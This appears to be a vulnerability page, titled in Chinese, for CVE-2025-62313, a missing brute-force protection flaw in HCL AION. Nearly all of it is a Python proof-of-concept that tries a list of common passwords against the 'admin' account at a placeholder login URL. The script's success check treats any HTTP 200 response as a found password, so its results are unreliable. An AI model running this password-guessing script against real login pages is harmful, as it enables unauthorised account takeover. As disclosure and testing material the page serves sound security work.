CVE-2025-62313: HCL AION 暴力破解防护缺失漏洞

import requests # CVE-2025-62313 PoC: Brute Force Protection Bypass # Target: HCL AION # Description: This script demonstrates the lack of rate limiting on the login endpoint. TARGET_URL = "http://target-hcl-aion/login" USERNAME = "admin" PASSWORD_LIST = ["password", "123456", "admin", "root"] # Example list def brute_force_login(): session = requests.Session() for password in PASSWORD_LIST: payload = { "username": USERNAME, "password": password } try: response = session.post(TARGET_URL, data=payload, timeout=5) # Check for success indicators (e.g., status 200, specific text) if "Login successful" in response.text or response.status_code == 200: print(f"[+] Success! Password found: {password}") return elif response.status_code == 429: print("[-] Rate limit detected. Exploit failed.") return else: print(f"[-] Attempt with '{password}' failed. Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": brute_force_login()